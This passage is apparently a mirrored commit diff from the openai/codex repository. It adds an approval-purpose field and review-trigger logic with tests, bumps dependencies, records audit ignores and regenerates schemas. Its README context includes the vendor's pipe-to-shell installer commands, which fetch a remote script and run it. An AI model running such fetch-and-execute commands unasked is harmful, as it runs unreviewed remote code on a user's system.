mirror of
https://github.com/openai/codex.git
synced 2026-10-29 19:08:43 +00:00
Merge PSEC-4922 approval hardening
This commit is contained in:
Generated
+4
-3
File diff suppressed because one or more lines are too long
@@ -21,7 +21,7 @@ curl -fsSL https://chatgpt.com/codex/install.sh | sh
|
||||
|
||||
Run the following on Windows to install Codex CLI:
|
||||
|
||||
```
|
||||
```shell
|
||||
powershell -ExecutionPolicy ByPass -c "irm https://chatgpt.com/codex/install.ps1 | iex"
|
||||
```
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
[advisories]
|
||||
# Reviewed 2026-06-07. Keep this list in sync with ../deny.toml.
|
||||
# Reviewed 2026-07-02. Keep this list in sync with ../deny.toml.
|
||||
ignore = [
|
||||
"RUSTSEC-2024-0388", # derivative 2.2.0 via starlark/starlark_syntax; upstream crate is unmaintained
|
||||
"RUSTSEC-2025-0057", # fxhash 0.2.1 via starlark_map/bm25; upstream crate is unmaintained
|
||||
@@ -10,4 +10,6 @@ ignore = [
|
||||
"RUSTSEC-2026-0118", # hickory-proto via rama-dns/rama-tcp; remove when rama updates to hickory 0.26.1 or hickory-net
|
||||
"RUSTSEC-2026-0119", # hickory-proto via rama-dns/rama-tcp; remove when rama updates to hickory 0.26.1 or hickory-net
|
||||
"RUSTSEC-2026-0173", # proc-macro-error2 via i18n-embed-fl/age/codex-secrets; remove when local secrets storage migrates off age or age drops i18n-embed-fl
|
||||
"RUSTSEC-2026-0194", # quick-xml via plist/syntect and wayland-scanner; trusted inputs only; remove when rust-plist#191 and wayland-rs#938 are released
|
||||
"RUSTSEC-2026-0195", # quick-xml via plist/syntect and wayland-scanner; trusted inputs only; remove when rust-plist#191 and wayland-rs#938 are released
|
||||
]
|
||||
|
||||
Generated
+20
-10
@@ -3712,7 +3712,7 @@ dependencies = [
|
||||
"icu_provider",
|
||||
"landlock",
|
||||
"pretty_assertions",
|
||||
"quick-xml",
|
||||
"quick-xml 0.41.0",
|
||||
"reqwest 0.12.28",
|
||||
"schemars 0.8.22",
|
||||
"seccompiler",
|
||||
@@ -3906,12 +3906,13 @@ dependencies = [
|
||||
"pretty_assertions",
|
||||
"regex",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"shlex",
|
||||
"tempfile",
|
||||
"tree-sitter",
|
||||
"tree-sitter-bash",
|
||||
"url",
|
||||
"which 8.0.0",
|
||||
"windows-sys 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -10271,13 +10272,13 @@ checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
|
||||
|
||||
[[package]]
|
||||
name = "plist"
|
||||
version = "1.8.0"
|
||||
version = "1.9.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "740ebea15c5d1428f910cd1a5f52cebf8d25006245ed8ade92702f4943d91e07"
|
||||
checksum = "092791278e026273c1b65bbdcfbba3a300f2994c896bd01ab01da613c29c46f1"
|
||||
dependencies = [
|
||||
"base64 0.22.1",
|
||||
"indexmap 2.14.0",
|
||||
"quick-xml",
|
||||
"quick-xml 0.39.4",
|
||||
"serde",
|
||||
"time",
|
||||
]
|
||||
@@ -10710,9 +10711,18 @@ checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3"
|
||||
|
||||
[[package]]
|
||||
name = "quick-xml"
|
||||
version = "0.38.4"
|
||||
version = "0.39.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b66c2058c55a409d601666cffe35f04333cf1013010882cec174a7467cd4e21c"
|
||||
checksum = "cdcc8dd4e2f670d309a5f0e83fe36dfdc05af317008fea29144da1a2ac858e5e"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quick-xml"
|
||||
version = "0.41.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e660451e55124f798a69a5af3f49ccfbefbd41910eefd25caf2393e1f3473ec1"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
"serde",
|
||||
@@ -14673,12 +14683,12 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "wayland-scanner"
|
||||
version = "0.31.8"
|
||||
version = "0.31.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5423e94b6a63e68e439803a3e153a9252d5ead12fd853334e2ad33997e3889e3"
|
||||
checksum = "9c324a910fd86ebdc364a3e61ec1f11737d3b1d6c273c0239ee8ff4bc0d24b4a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quick-xml",
|
||||
"quick-xml 0.39.4",
|
||||
"quote",
|
||||
]
|
||||
|
||||
|
||||
+1
-1
@@ -362,7 +362,7 @@ portable-pty = "0.9.0"
|
||||
predicates = "3"
|
||||
pretty_assertions = "1.4.1"
|
||||
pulldown-cmark = "0.10"
|
||||
quick-xml = "0.38.4"
|
||||
quick-xml = "0.41.0"
|
||||
rand = "0.9"
|
||||
ratatui = "0.29.0"
|
||||
ratatui-macros = "0.6.0"
|
||||
|
||||
@@ -893,6 +893,7 @@ fn sample_command_approval_request(request_id: i64, approval_id: Option<&str>) -
|
||||
item_id: "item-1".to_string(),
|
||||
started_at_ms: 1_000,
|
||||
approval_id: approval_id.map(str::to_string),
|
||||
approval_purpose: None,
|
||||
environment_id: None,
|
||||
reason: None,
|
||||
network_approval_context: None,
|
||||
|
||||
@@ -564,7 +564,7 @@ pub(crate) enum Reviewer {
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Clone, Copy, Debug, Serialize)]
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub(crate) enum ReviewTrigger {
|
||||
Initial,
|
||||
|
||||
@@ -106,6 +106,7 @@ use codex_app_server_protocol::CollabAgentTool;
|
||||
use codex_app_server_protocol::CollabAgentToolCallStatus;
|
||||
use codex_app_server_protocol::CommandAction;
|
||||
use codex_app_server_protocol::CommandExecutionApprovalDecision;
|
||||
use codex_app_server_protocol::CommandExecutionApprovalPurpose;
|
||||
use codex_app_server_protocol::CommandExecutionSource;
|
||||
use codex_app_server_protocol::CommandExecutionStatus;
|
||||
use codex_app_server_protocol::DynamicToolCallOutputContentItem;
|
||||
@@ -969,15 +970,13 @@ impl AnalyticsReducer {
|
||||
.and_then(|network| network.enabled)
|
||||
.unwrap_or(false);
|
||||
let requested_additional_permissions = params.additional_permissions.is_some();
|
||||
let trigger = if params.approval_id.is_some() {
|
||||
ReviewTrigger::ExecveIntercept
|
||||
} else if requested_network_access {
|
||||
ReviewTrigger::NetworkPolicyDenial
|
||||
} else if requested_additional_permissions {
|
||||
ReviewTrigger::SandboxDenial
|
||||
} else {
|
||||
ReviewTrigger::Initial
|
||||
};
|
||||
let trigger = command_execution_review_trigger(
|
||||
params.approval_purpose,
|
||||
params.approval_id.as_deref(),
|
||||
params.reason.as_deref(),
|
||||
requested_additional_permissions,
|
||||
requested_network_access,
|
||||
);
|
||||
let Some(started_at_ms) = option_i64_to_u64(Some(params.started_at_ms)) else {
|
||||
return;
|
||||
};
|
||||
@@ -2320,6 +2319,36 @@ fn guardian_review_subject_metadata(
|
||||
}
|
||||
}
|
||||
|
||||
fn command_execution_review_trigger(
|
||||
approval_purpose: Option<CommandExecutionApprovalPurpose>,
|
||||
approval_id: Option<&str>,
|
||||
reason: Option<&str>,
|
||||
requested_additional_permissions: bool,
|
||||
requested_network_access: bool,
|
||||
) -> ReviewTrigger {
|
||||
if requested_network_access {
|
||||
return ReviewTrigger::NetworkPolicyDenial;
|
||||
}
|
||||
|
||||
let purpose = approval_purpose.unwrap_or_else(|| {
|
||||
if approval_id.is_none() {
|
||||
CommandExecutionApprovalPurpose::Initial
|
||||
} else if reason.is_some() {
|
||||
CommandExecutionApprovalPurpose::SandboxRetry
|
||||
} else {
|
||||
CommandExecutionApprovalPurpose::Execve
|
||||
}
|
||||
});
|
||||
match purpose {
|
||||
CommandExecutionApprovalPurpose::SandboxRetry => ReviewTrigger::SandboxDenial,
|
||||
CommandExecutionApprovalPurpose::Execve => ReviewTrigger::ExecveIntercept,
|
||||
CommandExecutionApprovalPurpose::Initial if requested_additional_permissions => {
|
||||
ReviewTrigger::SandboxDenial
|
||||
}
|
||||
CommandExecutionApprovalPurpose::Initial => ReviewTrigger::Initial,
|
||||
}
|
||||
}
|
||||
|
||||
fn guardian_review_requested_additional_permissions(action: &GuardianApprovalReviewAction) -> bool {
|
||||
match action {
|
||||
GuardianApprovalReviewAction::ApplyPatch { .. }
|
||||
@@ -2843,4 +2872,105 @@ mod tests {
|
||||
Some((ReviewStatus::TimedOut, ReviewResolution::None))
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_execution_review_trigger_uses_explicit_purpose_and_precedence() {
|
||||
use CommandExecutionApprovalPurpose as Purpose;
|
||||
let cases = [
|
||||
(
|
||||
Some(Purpose::Initial),
|
||||
Some("id"),
|
||||
None,
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::Initial,
|
||||
),
|
||||
(
|
||||
Some(Purpose::Initial),
|
||||
Some("id"),
|
||||
Some("reason"),
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::Initial,
|
||||
),
|
||||
(
|
||||
Some(Purpose::Execve),
|
||||
Some("id"),
|
||||
None,
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::ExecveIntercept,
|
||||
),
|
||||
(
|
||||
Some(Purpose::Execve),
|
||||
Some("id"),
|
||||
Some("reason"),
|
||||
true,
|
||||
false,
|
||||
ReviewTrigger::ExecveIntercept,
|
||||
),
|
||||
(
|
||||
Some(Purpose::SandboxRetry),
|
||||
Some("id"),
|
||||
None,
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::SandboxDenial,
|
||||
),
|
||||
(
|
||||
Some(Purpose::SandboxRetry),
|
||||
Some("id"),
|
||||
Some("reason"),
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::SandboxDenial,
|
||||
),
|
||||
(
|
||||
Some(Purpose::Initial),
|
||||
None,
|
||||
None,
|
||||
true,
|
||||
false,
|
||||
ReviewTrigger::SandboxDenial,
|
||||
),
|
||||
(
|
||||
Some(Purpose::Execve),
|
||||
Some("id"),
|
||||
None,
|
||||
true,
|
||||
true,
|
||||
ReviewTrigger::NetworkPolicyDenial,
|
||||
),
|
||||
(
|
||||
None,
|
||||
Some("id"),
|
||||
Some("reason"),
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::SandboxDenial,
|
||||
),
|
||||
(
|
||||
None,
|
||||
Some("id"),
|
||||
None,
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::ExecveIntercept,
|
||||
),
|
||||
(
|
||||
None,
|
||||
None,
|
||||
Some("reason"),
|
||||
false,
|
||||
false,
|
||||
ReviewTrigger::Initial,
|
||||
),
|
||||
];
|
||||
for (purpose, id, reason, permissions, network, expected) in cases {
|
||||
assert_eq!(
|
||||
command_execution_review_trigger(purpose, id, reason, permissions, network),
|
||||
expected
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+23
-7
@@ -1786,13 +1786,29 @@
|
||||
"type": "object"
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
+20
-1
@@ -273,6 +273,14 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"CommandExecutionApprovalPurpose": {
|
||||
"enum": [
|
||||
"initial",
|
||||
"execve",
|
||||
"sandboxRetry"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
"FileSystemAccessMode": {
|
||||
"enum": [
|
||||
"read",
|
||||
@@ -521,12 +529,23 @@
|
||||
},
|
||||
"properties": {
|
||||
"approvalId": {
|
||||
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.",
|
||||
"description": "Opaque identifier for this specific approval callback, when present.\n\nUse the JSON-RPC request ID for the response. When tracking callback UI or state outside that envelope, use this instead of `itemId` when it is present. Absence is a legacy/cacheable compatibility path.",
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"approvalPurpose": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/definitions/CommandExecutionApprovalPurpose"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
],
|
||||
"description": "Semantic purpose of this approval request. Compatibility events may omit it."
|
||||
},
|
||||
"command": {
|
||||
"description": "The command to be executed.",
|
||||
"type": [
|
||||
|
||||
@@ -2713,13 +2713,29 @@
|
||||
"type": "object"
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
+20
-1
@@ -342,15 +342,34 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"CommandExecutionApprovalPurpose": {
|
||||
"enum": [
|
||||
"initial",
|
||||
"execve",
|
||||
"sandboxRetry"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
"CommandExecutionRequestApprovalParams": {
|
||||
"properties": {
|
||||
"approvalId": {
|
||||
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.",
|
||||
"description": "Opaque identifier for this specific approval callback, when present.\n\nUse the JSON-RPC request ID for the response. When tracking callback UI or state outside that envelope, use this instead of `itemId` when it is present. Absence is a legacy/cacheable compatibility path.",
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"approvalPurpose": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/definitions/CommandExecutionApprovalPurpose"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
],
|
||||
"description": "Semantic purpose of this approval request. Compatibility events may omit it."
|
||||
},
|
||||
"command": {
|
||||
"description": "The command to be executed.",
|
||||
"type": [
|
||||
|
||||
+43
-8
@@ -2371,16 +2371,35 @@
|
||||
}
|
||||
]
|
||||
},
|
||||
"CommandExecutionApprovalPurpose": {
|
||||
"enum": [
|
||||
"initial",
|
||||
"execve",
|
||||
"sandboxRetry"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
"CommandExecutionRequestApprovalParams": {
|
||||
"$schema": "http://json-schema.org/draft-07/schema#",
|
||||
"properties": {
|
||||
"approvalId": {
|
||||
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.",
|
||||
"description": "Opaque identifier for this specific approval callback, when present.\n\nUse the JSON-RPC request ID for the response. When tracking callback UI or state outside that envelope, use this instead of `itemId` when it is present. Absence is a legacy/cacheable compatibility path.",
|
||||
"type": [
|
||||
"string",
|
||||
"null"
|
||||
]
|
||||
},
|
||||
"approvalPurpose": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/definitions/CommandExecutionApprovalPurpose"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
],
|
||||
"description": "Semantic purpose of this approval request. Compatibility events may omit it."
|
||||
},
|
||||
"command": {
|
||||
"description": "The command to be executed.",
|
||||
"type": [
|
||||
@@ -12860,13 +12879,29 @@
|
||||
"type": "object"
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
+23
-7
@@ -9264,13 +9264,29 @@
|
||||
"type": "object"
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
@@ -681,13 +681,29 @@
|
||||
]
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
@@ -681,13 +681,29 @@
|
||||
]
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
+23
-7
@@ -108,13 +108,29 @@
|
||||
"type": "string"
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
@@ -195,13 +195,29 @@
|
||||
"type": "string"
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"Personality": {
|
||||
"enum": [
|
||||
|
||||
@@ -681,13 +681,29 @@
|
||||
]
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
@@ -141,13 +141,29 @@
|
||||
"type": "string"
|
||||
},
|
||||
"MultiAgentMode": {
|
||||
"description": "Controls whether the model receives multi-agent delegation instructions and, when it does, whether it should only spawn sub-agents after an explicit user request or may delegate proactively when doing so would help. `none` leaves the multi-agent tools available without injecting delegation instructions.",
|
||||
"enum": [
|
||||
"none",
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
"description": "Controls the effective multi-agent delegation instructions for a turn. `custom` means the configured mode hint defines the policy instead of a built-in policy.",
|
||||
"oneOf": [
|
||||
{
|
||||
"enum": [
|
||||
"explicitRequestOnly",
|
||||
"proactive"
|
||||
],
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"additionalProperties": false,
|
||||
"properties": {
|
||||
"custom": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"custom"
|
||||
],
|
||||
"title": "CustomMultiAgentMode",
|
||||
"type": "object"
|
||||
}
|
||||
]
|
||||
},
|
||||
"NetworkAccess": {
|
||||
"enum": [
|
||||
|
||||
@@ -3,9 +3,7 @@
|
||||
// This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually.
|
||||
|
||||
/**
|
||||
* Controls whether the model receives multi-agent delegation instructions and,
|
||||
* when it does, whether it should only spawn sub-agents after an explicit user
|
||||
* request or may delegate proactively when doing so would help. `none` leaves
|
||||
* the multi-agent tools available without injecting delegation instructions.
|
||||
* Controls the effective multi-agent delegation instructions for a turn. `custom` means the
|
||||
* configured mode hint defines the policy instead of a built-in policy.
|
||||
*/
|
||||
export type MultiAgentMode = "none" | "explicitRequestOnly" | "proactive";
|
||||
export type MultiAgentMode = { "custom": string } | "explicitRequestOnly" | "proactive";
|
||||
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
// GENERATED CODE! DO NOT MODIFY BY HAND!
|
||||
|
||||
// This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually.
|
||||
|
||||
export type CommandExecutionApprovalPurpose = "initial" | "execve" | "sandboxRetry";
|
||||
Generated
+8
-6
@@ -3,6 +3,7 @@
|
||||
// This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually.
|
||||
import type { LegacyAppPathString } from "../LegacyAppPathString";
|
||||
import type { CommandAction } from "./CommandAction";
|
||||
import type { CommandExecutionApprovalPurpose } from "./CommandExecutionApprovalPurpose";
|
||||
import type { ExecPolicyAmendment } from "./ExecPolicyAmendment";
|
||||
import type { NetworkApprovalContext } from "./NetworkApprovalContext";
|
||||
import type { NetworkPolicyAmendment } from "./NetworkPolicyAmendment";
|
||||
@@ -11,15 +12,16 @@ export type CommandExecutionRequestApprovalParams = {threadId: string, turnId: s
|
||||
* Unix timestamp (in milliseconds) when this approval request started.
|
||||
*/
|
||||
startedAtMs: number, /**
|
||||
* Unique identifier for this specific approval callback.
|
||||
* Opaque identifier for this specific approval callback, when present.
|
||||
*
|
||||
* For regular shell/unified_exec approvals, this is null.
|
||||
*
|
||||
* For zsh-exec-bridge subcommand approvals, multiple callbacks can belong to
|
||||
* one parent `itemId`, so `approvalId` is a distinct opaque callback id
|
||||
* (a UUID) used to disambiguate routing.
|
||||
* Use the JSON-RPC request ID for the response. When tracking callback UI
|
||||
* or state outside that envelope, use this instead of `itemId` when it is
|
||||
* present. Absence is a legacy/cacheable compatibility path.
|
||||
*/
|
||||
approvalId?: string | null, /**
|
||||
* Semantic purpose of this approval request. Compatibility events may omit it.
|
||||
*/
|
||||
approvalPurpose?: CommandExecutionApprovalPurpose | null, /**
|
||||
* Environment in which the command will run.
|
||||
*/
|
||||
environmentId: string | null, /**
|
||||
|
||||
@@ -63,6 +63,7 @@ export type { CommandExecTerminateResponse } from "./CommandExecTerminateRespons
|
||||
export type { CommandExecWriteParams } from "./CommandExecWriteParams";
|
||||
export type { CommandExecWriteResponse } from "./CommandExecWriteResponse";
|
||||
export type { CommandExecutionApprovalDecision } from "./CommandExecutionApprovalDecision";
|
||||
export type { CommandExecutionApprovalPurpose } from "./CommandExecutionApprovalPurpose";
|
||||
export type { CommandExecutionOutputDeltaNotification } from "./CommandExecutionOutputDeltaNotification";
|
||||
export type { CommandExecutionRequestApprovalParams } from "./CommandExecutionRequestApprovalParams";
|
||||
export type { CommandExecutionRequestApprovalResponse } from "./CommandExecutionRequestApprovalResponse";
|
||||
|
||||
@@ -3693,6 +3693,7 @@ mod tests {
|
||||
item_id: "call_123".to_string(),
|
||||
started_at_ms: 0,
|
||||
approval_id: None,
|
||||
